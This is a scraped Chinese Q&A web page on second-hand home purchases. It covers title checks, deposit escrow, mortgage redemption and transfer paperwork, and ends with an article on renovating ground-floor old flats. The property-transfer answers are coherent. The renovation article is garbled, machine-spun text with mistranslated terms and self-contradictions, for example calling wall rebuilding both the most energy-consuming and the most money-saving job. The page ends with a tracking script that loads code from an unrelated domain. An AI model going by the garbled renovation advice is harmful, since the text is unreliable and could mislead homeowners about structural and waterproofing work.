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杜菊月

二手房注册要怎么做?

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如何办理二手房过户手续?许多人认为,二手房的买卖过程是非常复杂,且处处存在陷阱的。既怕旧房产权有问题,怕遇到黑心中介,又怕交易的手续繁琐。在二手房交易的过程中,买卖双方通常只关注交易的最终结果,却忽视了交易过程的安全性。而事实上,往往最能影响交易结果的就是整个交易过程中的各个环节。买卖双方之所以会选择经纪公司代理交易,并不仅仅是为了得到真实的市场信息,他们更希望经纪公司能给他们提供一个有安全保障的交易过程。其实,消费者只要掌握了基本的交易常识,注意一些可能存在的风险,还是能够买到一套称心的二手房的。一般正规的二手房交易包括如下几个环节。-寻找中介信息登记买卖双方到中介咨询二手房交易的相关政策,经纪公司根据实际情况为买卖双方进行配对,为他们牵线搭桥,买卖双方分别登记购房、售房信息。在这个环节中,买卖双方面临的一个重要事情就是选择一家真正的放心中介,它直接关系到交易的安全和房款的顺利交接。选择好的经纪公司有以下几点:规模大、有营业许可证、有资质证书、声誉较好。

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七月上 有用 0

第1步:买卖前的产权审核
担心买到产权有瑕疵的房子,是买家们不敢进行自主交易的一大原因。但做足前期准备工作,这一问题也将不是问题。
首先,要仔细查看业主的房产证,注意房产证上有几个人的署名。如果有两个人,在签订后边的合同时就需要有两个人的名字;其次,看购房时的相关凭据,比如购房发票、契税发票等,作为辅助证据以初步确认房屋产权归属。
风险提示:此环节最大风险即是产权瑕疵问题,所以在交定金之前,必须去查档并得到确定答案。你相中的房屋有可能处于抵押状态,也有可能因为有债务纠纷而处于查封状态,而一旦房屋产权有问题,交易即宣布无效。
第2步:交定金与签合同
看好房子,确定房屋产权后,交定金就是顺理成章的事。但千万不要忽视这个小小的环节,交定金也是有窍门的。房子动辄上百万,以5%计算定金额度也能达到5万元。所以当交易进行到这个环节时,请多留个心眼。
如果你看中的房子还在按揭中,定金最好不要直接交到业主手中,而应该交由第三方监管。如果买卖双方都有可以信赖的第三方,则可以签一个简单协议,约定赎楼完毕之后给定金卖方,需注明“交给监管第三方则视为卖家收讫,卖家以未收到定金为由拒绝履行合同的,视为违约”。如果没有可信赖的第三方,定金最好交由银行监管。具体做法是:买卖双方到银行去签一份监管协议即可,约定在交易中心完成递件手续后,划拨到卖家账户上。
一般来说,在交定金的时候会签一份预约买卖合同,示范文本可以在深圳市国土房管局网站上下载。合同至少需要约定物业地址、成交金额、交楼时间、违约金和违约责任等,具体条款见示范文本。
风险提示:
1.当下楼价上涨,买家如想防止卖家毁约不卖,可交足额定金或约定高额违约金,提高违约成本。但定金或违约金不得高于成交金额的20%;
2.卖家有可能以定金在监管未拿到手为由毁约卖楼,所以预约买卖合同中应注明“交由第三方监管即视为卖方收讫”;
3.为避免交楼前业主存在拖欠费用等现象,你需要签一份交房保证金协议,约定从定金中扣除1万元左右的保证金。在查验家具、电器完好,水电、物管等费用缴清,钥匙交接完毕之后,再退还保证金。
第3步:赎楼
赎楼是一门大学问,不同赎楼方式费用不同、供楼时间不同、面临的风险也不同。一般来说,赎楼是业主方的责任。赎楼有两种操作方式:其一,业主通过担保公司,向银行借款赎楼,产生的是0.8%的担保费用,以及0.4%的短期赎楼利息,等买家房产证出来之后,再到银行做按揭;其二,买家通过担保公司向银行做按揭,银行再将赎楼款打给卖家,其中只需要产生担保费,但买家需要提前供楼。
“出于风险考虑,买家最好采用前一种方式赎楼。通过后一种方式,可节省0.4%的短期赎楼利息,但如果交易终止、卖家悔约不卖或是房屋存在产权问题,买家将陷入被动境地。”美联物业按揭部总监王青说。
这里边还有一些小窍门:如果通过同行转按揭,上述费用少不了,但可以节省不少时间。另外,担保公司与银行有对接的关系,比如某个担保公司对应的银行可能就只有工行、中行等等。如果不知道如何选择担保公司,可到打算办按揭的银行咨询,否则先行选择担保公司可能要空跑一趟。
风险提示:因赎楼产生的风险,为此环节中最大。买家拿现金赎楼或自己通过担保公司向银行贷款赎楼,都是不可取的方法。如果发生交易因意外原因终止、房屋被查封等问题,买家会冒风险。记者采访的几位中介按揭部专家,均认同“两笔款赎楼”,即业主自己通过担保公司向银行借款。

艺境坊装饰 有用 0

办理二手房买卖流程需要提交的材料:
1、登记申请书原件(受理窗口提供)。
2、申请人身份证明。
3、房屋所有权证原件。
4、网上签约的北京市存量房买卖合同原件。
5、买卖双方当事人约定通过专有账户划转交易结算资金的,应提交存量房交易结算资金托管凭证原件;买卖双方当事人约定自行划转交易解散资金的,应提交存量房交易结算资金自行划转声明原件。
6、契税完税或减免税凭证原件。
7、房屋所有权证上的房屋登记表、房屋平面图将产权人名字遮盖复议买方人数+1份。
二手房买卖的具体流程:
1、买方看房、买卖双方初步洽谈价格、付款方式、交房日期等事项,一般买卖双方产生的所有费用都归买方支付;
2、买卖双方持房产证原件或按揭合同原价到档案大厦国土部门查房档案;
3、买卖双方协商房屋价格、定金、首期款、资金监管、贷款申请时间、赎楼费用、过户申请时间、税费支付方式、交房日期、租客情况、佣金的支付时间及比例、违约责任,确定这几大要点后,买卖双方与中介签订三方合同或者买卖双方签订合同,把上述内容写入合同,支付定金给中介公司。
4、卖方同担保公司到公证处进行公证,卖方委托担保公司办理相关事务;
5、买方支付首期款到按揭银行资金监管账号(一般是原贷款银行,如果换其他银行会多出一些费用),买方及担保公司与银行签订资金监管协议及相关文件,买方向银行提出贷款申请,银行同意贷款后出具贷款承诺书给买方(一般银行直接通知担保公司),约7~8个工作日左右;
6、买方向担保公司支付担保费用后,担保公司向原贷款银行申请赎楼,担保公司向银行出具赎楼担保,进行赎楼及注销抵押登记手续,约5个工作日左右;
7、买方同担保公司去房地产产权登记中心签订房地产买卖合同,递交房产过户申请,担保公司领取回执,需5个工作日;
8、买方同担保公司到领证窗口签署回执缴费领取房产证(记得多复印一些,再见到它时要等全部贷款还清之后啦),担保公司领出新房产证同按揭银行在房地产产权登记中心作抵押登记,银行把首期款给卖方,新房产证抵押登记后,银行把扣除赎楼贷款后的贷款给卖方,约10个工作日左右;
9、买卖双方办理房屋交接,水、电等过户,买方领钥匙了。

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专题 一楼二手房改造怎么做?需要注意什么?

一楼二手房改造怎么做?需要注意什么?

一楼二手房改造怎么做?装修不仅仅是新房的装修,很多老房子都有很长的居住年限。业主认为,房子整体的美观和装饰损坏,他们会想翻新和翻新装饰。一、一楼二手房改造怎么做?1。主体拆除和改造旧房屋装修主体,主要包括墙体拆除、墙体建筑、铲墙皮、散热、塑钢窗等。主体拆除时,应注意厨房、保安墙砖拆除后的防水。此外,拆除过程中产生的垃圾也应及时清理。2。旧房改造的原因之一是房屋结构不适应现代生活的需要。一楼二手房改造怎么做?因此,在旧建筑改造中,应严格禁止拆除承重墙和对重墙,并在承重墙上切割门窗。如果未经授权的装修不是一个漂亮的问题,严重的话可能会导致倒塌。3。隐蔽工程 一楼二手房改造怎么做? 隐蔽工程包括水路工程和家庭电气工程。隐蔽工程施工不当,将导致后期漏水或下水道堵塞。因此,在隐蔽工程施工中,应注意使用好的建筑材料,同时更换所有需要更换的旧房部分。4。墙壁、地板、屋顶 一楼二手房改造怎么做?墙壁、地板和屋顶的改造需要专业人员对房屋进行现场调查,如墙壁、地板和天花板是否有明显的裂缝,是否平整,是否有落砂现象等,如墙面灰的抗粉化性。质量差,根除后易剥落,修补困难,不能满足贴大理石、砖的基本要求。因此,必须彻底清除表层,然后用水泥砂浆作为地基处理。5。一楼二手房改造怎么做?旧房子的门窗必须更换,因为旧房子的门窗已经使用了很长时间,而且门窗一般会被风和阳光剥皮变形。因此,旧房子的门窗必须更换。二、旧房改造1。有许多老房主,他们没有明确的计划,在他们开始装修时,要进行哪些装修项目。他们只是一个接一个地采取措施,花费一些不必要的开支。例如,不需要拆除的墙被拆除,拆除和重新安装的费用被高估。因此,为了节约资金,业主必须做好规划,对房屋进行翻修,以达到对工程的透彻了解。2。尽量不砸墙、重修墙、重修墙是最耗能、最省钱的工程。为了使房子更漂亮,一些业主想在某个地方拆毁墙进行重建。一楼二手房改造怎么做?事实上,这是完全不必要的。新油漆或墙纸可以改变旧房子的形状。3。拆迁项目专门找人做 装修公司的砖墙拆迁工作一般按平方米报价。如果房屋拆迁量大,会花很多钱。你可以找另一个小装饰工人告诉他所有的工作量,让他报一个总价。当然,这种操作是有风险的,为了防止一个鲁莽的人到来,把你的家砸成千疮百孔,所以最好找熟悉的工人。4。地板尽量不要拆卸 一楼二手房改造怎么做?乍一看,二手房或旧房子的地板总是感觉很旧。因此,一些业主认为他们必须拆除地板,重新购买地板铺面。事实上,旧地板大多是长期踩在地面上的结果。只要对地板进行翻修,就可以达到改变旧外观和新面孔的效果。但我们必须选择熟练的工人来装修地板。非熟练工人抓不住程度,容易损坏地板。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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